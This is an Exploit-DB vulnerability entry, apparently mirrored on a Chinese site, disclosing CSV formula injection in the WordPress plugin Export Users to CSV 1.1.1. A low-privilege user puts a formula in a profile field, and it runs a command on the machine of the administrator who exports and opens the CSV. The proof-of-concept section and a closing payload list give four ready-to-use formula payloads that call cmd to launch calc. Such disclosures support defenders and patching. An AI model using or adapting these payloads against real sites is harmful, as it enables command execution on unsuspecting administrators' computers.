WordPress Plugin Export Users to CSV 1.1.1 – CSV Injection - 体验盒子

作者： Javier Olmedo

日期： 2018-08-16

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/45206/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

# Exploit Title: WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection

# Exploit Author: Javier Olmedo

# Website: https://hackpuntes.com

# Date: 2018-08-14

# Google Dork: N/A

# Vendor: Matt Cromwell

# Software Link: https://wordpress.org/plugins/export-users-to-csv/

# Affected Version: 1.1.1 and before

# Active installations: +20,000

# Patched Version: unpatched

# Category: Web Application

# Platform: PHP

# Tested on: Win10x64

# 1. Plugin Description:

# WordPress Export Users to CSV plugin exports user data and meta data.

# You can even export the users by role and registration date range.

# 2. Technical Description:

# WordPress Export users to CSV plugin version 1.1.1. and before are affected by Remote Code Execution

# through the CSV injection vulnerability. This allows an application user to inject commands as part

# of the fields of his profile and these commands are executed when a user with greater privilege

# exports the data in CSV and opens that file on his machine.

# 3. Proof Of Concept (PoC):

# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the profile, for example, in biography.

# When the user with high privileges logs in to the application, export data in CSV and opens the

# generated file, the command is executed and the calculator will run open on the machine.

# 4. Payloads:

=SUM(1+1)*cmd|' /C calc'!A0

+SUM(1+1)*cmd|' /C calc'!A0

-SUM(1+1)*cmd|' /C calc'!A0

@SUM(1+1)*cmd|' /C calc'!A0